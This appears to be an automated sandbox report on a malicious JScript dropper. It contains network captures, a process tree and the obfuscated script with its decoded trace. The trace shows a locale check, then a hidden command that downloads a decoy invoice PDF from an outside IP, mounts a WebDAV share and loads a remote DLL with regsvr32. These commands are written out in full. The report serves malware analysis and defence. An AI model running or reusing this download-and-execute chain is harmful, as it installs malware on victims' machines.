Jan 10, 2025 17:14:53.990159988 CET	53	56132	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:53.990282059 CET	56132	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:53.990320921 CET	56132	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:53.995141029 CET	53	56132	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:54.454147100 CET	53	56132	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:54.460102081 CET	56132	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:54.465123892 CET	53	56132	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:54.465182066 CET	56132	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:14:00.876749039 CET	56709	53	192.168.2.10	1.1.1.1
Jan 10, 2025 17:14:06.703432083 CET	53	64622	1.1.1.1	192.168.2.10
Jan 10, 2025 17:14:53.984580040 CET	53	59527	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:14:00.876749039 CET	192.168.2.10	1.1.1.1	0x80da	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:14:00.884114027 CET	1.1.1.1	192.168.2.10	0x80da	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:14:01.590970039 CET	1.1.1.1	192.168.2.10	0x7505	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:14:01.590970039 CET	1.1.1.1	192.168.2.10	0x7505	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49732	193.143.1.205	80	7308	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:13:48.753662109 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:13:49.539895058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:13:49.539942026 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:13:49.540019989 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:13:49.540057898 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:13:49.540096045 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 17:13:49.540133953 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 17:13:49.540169954 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 17:13:49.540205956 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 17:13:49.540261984 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 17:13:49.540303946 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 17:13:49.586071014 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49752	193.143.1.205	8888	6116	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:13:52.060576916 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:13:52.843935966 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	11:13:44
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js"
Imagebase:	0x7ff735830000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:13:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Imagebase:	0x7ff7c82e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:13:45
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:13:45
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:13:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:13:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c82e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:13:51
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63e800000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:13:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:13:52
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:13:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1524,i,7185676224181079761,2214675722304676430,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xzbrrey() {	xzbrrey() ➔ undefined
1	jlpjywfci = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var upwcrgyce = this[olkhe + ombrli + jsipexmla + nxfvtzxmr + ajqcspb + zjrrhopx + hxhgse + xzqzqpenf] ( this[qrlae + gsnpblcs + ofutxv + jsipexmla + skhkqir + olkhe + xzqzqpenf][eibjl + jsipexmla + ajqcspb + ombrli + xzqzqpenf + ajqcspb + vkamp + krkiz + gqfhjroe + ajqcspb + ofutxv + xzqzqpenf] ( qrlae + gsnpblcs + ofutxv + jsipexmla + skhkqir + olkhe + xzqzqpenf + ffgbzd + gsnpblcs + shexxil + ajqcspb + nlsggv + nlsggv ) [rnixjgtyz + ajqcspb + hbhjconz + rnixjgtyz + ajqcspb + ombrli + cleua] ( twlro + wgvphfz + zmlgcd + xnpxoapl + kcraqgzf + eibjl + gvcellpca + rnixjgtyz + rnixjgtyz + zmlgcd + hnigcs + zqhvrum + kcraqgzf + gvcellpca + gsnpblcs + zmlgcd + rnixjgtyz + utwpgexcz + eibjl + wvqevrg + hxhgse + xzqzqpenf + jsipexmla + wvqevrg + nlsggv + doggtb + ttkrxjeo + ombrli + hxhgse + ajqcspb + nlsggv + utwpgexcz + zjrrhopx + hxhgse + xzqzqpenf + ajqcspb + jsipexmla + hxhgse + ombrli + xzqzqpenf + skhkqir + wvqevrg + hxhgse + ombrli + nlsggv + utwpgexcz + mhadol + wvqevrg + ofutxv + ombrli + nlsggv + ajqcspb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oolliofjx = 0 ; oolliofjx < jlpjywfci[nlsggv + ajqcspb + hxhgse + hbhjconz + xzqzqpenf + shexxil] ; ++ oolliofjx )
4	{
5	if ( upwcrgyce == jlpjywfci[oolliofjx] )
6	{
7	upwcrgyce = true;
8	break ;
9	}
10	}
11	if ( upwcrgyce !== true )
12	this[qrlae + gsnpblcs + ofutxv + jsipexmla + skhkqir + olkhe + xzqzqpenf][xyokut + cjzmheiu + skhkqir + xzqzqpenf] ( );
13	this[qrlae + gsnpblcs + ofutxv + jsipexmla + skhkqir + olkhe + xzqzqpenf][eibjl + jsipexmla + ajqcspb + ombrli + xzqzqpenf + ajqcspb + vkamp + krkiz + gqfhjroe + ajqcspb + ofutxv + xzqzqpenf] ( qrlae + gsnpblcs + ofutxv + jsipexmla + skhkqir + olkhe + xzqzqpenf + ffgbzd + gsnpblcs + shexxil + ajqcspb + nlsggv + nlsggv ) [jsipexmla + cjzmheiu + hxhgse] ( ofutxv + uidzary + cleua + doggtb + kvekskkm + ofutxv + doggtb + olkhe + wvqevrg + ewguuawzu + ajqcspb + jsipexmla + nxfvtzxmr + shexxil + ajqcspb + nlsggv + nlsggv + ffgbzd + ajqcspb + qwavmgkf + ajqcspb + doggtb + ufzey + eibjl + wvqevrg + uidzary + uidzary + ombrli + hxhgse + cleua + doggtb + rcaounv + zjrrhopx + hxhgse + qjjnif + wvqevrg + rppzjgohq + ajqcspb + ufzey + qrlae + ajqcspb + krkiz + rnixjgtyz + ajqcspb + dlyyucid + cjzmheiu + ajqcspb + nxfvtzxmr + xzqzqpenf + doggtb + ufzey + vkamp + cjzmheiu + xzqzqpenf + quvgywoq + skhkqir + nlsggv + ajqcspb + doggtb + hsoluul + xzqzqpenf + ajqcspb + uidzary + olkhe + hsoluul + utwpgexcz + skhkqir + hxhgse + qjjnif + wvqevrg + skhkqir + ofutxv + ajqcspb + ffgbzd + olkhe + cleua + pyevtp + doggtb + shexxil + xzqzqpenf + xzqzqpenf + olkhe + cqqtnk + kvekskkm + kvekskkm + gphytzsdp + rsimfsx + mutirncl + ffgbzd + gphytzsdp + eesczwk + mutirncl + ffgbzd + gphytzsdp + ffgbzd + jzvqfyv + zrcbr + bshkg + kvekskkm + skhkqir + hxhgse + qjjnif + wvqevrg + skhkqir + ofutxv + ajqcspb + ffgbzd + olkhe + shexxil + olkhe + rcaounv + sdtfqs + sdtfqs + nxfvtzxmr + xzqzqpenf + ombrli + jsipexmla + xzqzqpenf + doggtb + hsoluul + xzqzqpenf + ajqcspb + uidzary + olkhe + hsoluul + utwpgexcz + skhkqir + hxhgse + qjjnif + wvqevrg + skhkqir + ofutxv + ajqcspb + ffgbzd + olkhe + cleua + pyevtp + sdtfqs + sdtfqs + ofutxv + uidzary + cleua + doggtb + kvekskkm + ofutxv + doggtb + hxhgse + ajqcspb + xzqzqpenf + doggtb + cjzmheiu + nxfvtzxmr + ajqcspb + doggtb + utwpgexcz + utwpgexcz + gphytzsdp + rsimfsx + mutirncl + ffgbzd + gphytzsdp + eesczwk + mutirncl + ffgbzd + gphytzsdp + ffgbzd + jzvqfyv + zrcbr + bshkg + wnjhipzn + wuipubhls + wuipubhls + wuipubhls + wuipubhls + utwpgexcz + cleua + ombrli + qjjnif + ewguuawzu + ewguuawzu + ewguuawzu + jsipexmla + wvqevrg + wvqevrg + xzqzqpenf + utwpgexcz + sdtfqs + sdtfqs + ofutxv + uidzary + cleua + doggtb + kvekskkm + ofutxv + doggtb + jsipexmla + ajqcspb + hbhjconz + nxfvtzxmr + qjjnif + jsipexmla + mutirncl + jzvqfyv + doggtb + kvekskkm + nxfvtzxmr + doggtb + utwpgexcz + utwpgexcz + gphytzsdp + rsimfsx + mutirncl + ffgbzd + gphytzsdp + eesczwk + mutirncl + ffgbzd + gphytzsdp + ffgbzd + jzvqfyv + zrcbr + bshkg + wnjhipzn + wuipubhls + wuipubhls + wuipubhls + wuipubhls + utwpgexcz + cleua + ombrli + qjjnif + ewguuawzu + ewguuawzu + ewguuawzu + jsipexmla + wvqevrg + wvqevrg + xzqzqpenf + utwpgexcz + gphytzsdp + ntarbnq + ntarbnq + bshkg + wuipubhls + ntarbnq + jzvqfyv + zrcbr + rsimfsx + mutirncl + gphytzsdp + bshkg + bshkg + jzvqfyv + ffgbzd + cleua + nlsggv + nlsggv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll",0,false) ➔ 0
14	}
15	hnigcs = "n";
16	hnigcs = "C";
17	hnigcs = "i";
18	hnigcs = "F";
19	hnigcs = "A";
20	hnigcs = "W";
21	hnigcs = "s";
22	hnigcs = "J";
23	hnigcs = "J";
24	hnigcs = "j";
25	hnigcs = "F";
26	hnigcs = "I";
27	hnigcs = "a";
28	hnigcs = "w";
29	hnigcs = "C";
30	hnigcs = "K";
31	hnigcs = "H";
32	hnigcs = "K";
33	hnigcs = "s";
34	hnigcs = "w";
35	hnigcs = "L";
36	hnigcs = "x";
37	hnigcs = "m";
38	hnigcs = "Z";
39	hnigcs = "F";
40	hnigcs = "C";
41	hnigcs = "X";
42	hnigcs = "N";
43	gvcellpca = "i";
44	gvcellpca = "X";
45	gvcellpca = "L";
46	gvcellpca = "q";
47	gvcellpca = "H";
48	gvcellpca = "k";
49	gvcellpca = "z";
50	gvcellpca = "M";
51	gvcellpca = "z";
52	gvcellpca = "s";
53	gvcellpca = "D";
54	gvcellpca = "h";
55	gvcellpca = "G";
56	gvcellpca = "l";
57	gvcellpca = "X";
58	gvcellpca = "F";
59	gvcellpca = "G";
60	gvcellpca = "Z";
61	gvcellpca = "r";
62	gvcellpca = "E";
63	gvcellpca = "t";
64	gvcellpca = "Q";
65	gvcellpca = "W";
66	gvcellpca = "d";
67	gvcellpca = "U";
68	gvcellpca = "I";
69	gvcellpca = "o";
70	gvcellpca = "S";
71	gvcellpca = "U";
72	jzvqfyv = "S";
73	jzvqfyv = "q";
74	jzvqfyv = "f";
75	jzvqfyv = "e";
76	jzvqfyv = "a";
77	jzvqfyv = "s";
78	jzvqfyv = "k";
79	jzvqfyv = "t";
80	jzvqfyv = "n";
81	jzvqfyv = "c";
82	jzvqfyv = "k";
83	jzvqfyv = "2";
84	hxhgse = "A";
85	hxhgse = "B";
86	hxhgse = "O";
87	hxhgse = "W";
88	hxhgse = "N";
89	hxhgse = "C";
90	hxhgse = "K";
91	hxhgse = "A";
92	hxhgse = "W";
93	hxhgse = "C";
94	hxhgse = "s";
95	hxhgse = "o";
96	hxhgse = "T";
97	hxhgse = "I";
98	hxhgse = "V";
99	hxhgse = "M";
100	hxhgse = "U";
101	hxhgse = "j";
102	hxhgse = "X";
103	hxhgse = "V";
104	hxhgse = "H";
105	hxhgse = "S";
106	hxhgse = "h";
107	hxhgse = "q";
108	hxhgse = "Q";
109	hxhgse = "P";
110	hxhgse = "E";
111	hxhgse = "J";
112	hxhgse = "z";
113	hxhgse = "Y";
114	hxhgse = "j";
115	hxhgse = "J";
116	hxhgse = "P";
117	hxhgse = "a";
118	hxhgse = "l";
119	hxhgse = "W";
120	hxhgse = "C";
121	hxhgse = "E";
122	hxhgse = "O";
123	hxhgse = "a";
124	hxhgse = "t";
125	hxhgse = "I";
126	hxhgse = "N";
127	hxhgse = "q";
128	hxhgse = "n";
129	nxfvtzxmr = "O";
130	nxfvtzxmr = "L";
131	nxfvtzxmr = "s";
132	rppzjgohq = "u";
133	rppzjgohq = "p";
134	rppzjgohq = "K";
135	rppzjgohq = "e";
136	rppzjgohq = "J";
137	rppzjgohq = "i";
138	rppzjgohq = "W";
139	rppzjgohq = "S";
140	rppzjgohq = "a";
141	rppzjgohq = "s";
142	rppzjgohq = "P";
143	rppzjgohq = "K";
144	rppzjgohq = "t";
145	rppzjgohq = "X";
146	rppzjgohq = "J";
147	rppzjgohq = "e";
148	rppzjgohq = "E";
149	rppzjgohq = "V";
150	rppzjgohq = "T";
151	rppzjgohq = "O";
152	rppzjgohq = "S";
153	rppzjgohq = "S";
154	rppzjgohq = "n";
155	rppzjgohq = "n";
156	rppzjgohq = "z";
157	rppzjgohq = "x";
158	rppzjgohq = "a";
159	rppzjgohq = "p";
160	rppzjgohq = "u";
161	rppzjgohq = "J";
162	rppzjgohq = "U";
163	rppzjgohq = "k";
164	rppzjgohq = "k";
165	quvgywoq = "o";
166	quvgywoq = "g";
167	quvgywoq = "j";
168	quvgywoq = "R";
169	quvgywoq = "g";
170	quvgywoq = "Z";
171	quvgywoq = "Z";
172	quvgywoq = "F";
173	ewguuawzu = "W";
174	ewguuawzu = "l";
175	ewguuawzu = "R";
176	ewguuawzu = "x";
177	ewguuawzu = "l";
178	ewguuawzu = "h";
179	ewguuawzu = "O";
180	ewguuawzu = "w";
181	rsimfsx = "g";
182	rsimfsx = "y";
183	rsimfsx = "v";
184	rsimfsx = "m";
185	rsimfsx = "m";
186	rsimfsx = "d";
187	rsimfsx = "g";
188	rsimfsx = "L";
189	rsimfsx = "U";
190	rsimfsx = "A";
191	rsimfsx = "D";
192	rsimfsx = "L";
193	rsimfsx = "S";
194	rsimfsx = "h";
195	rsimfsx = "W";
196	rsimfsx = "t";
197	rsimfsx = "Y";
198	rsimfsx = "w";
199	rsimfsx = "W";
200	rsimfsx = "N";
201	rsimfsx = "y";
202	rsimfsx = "a";
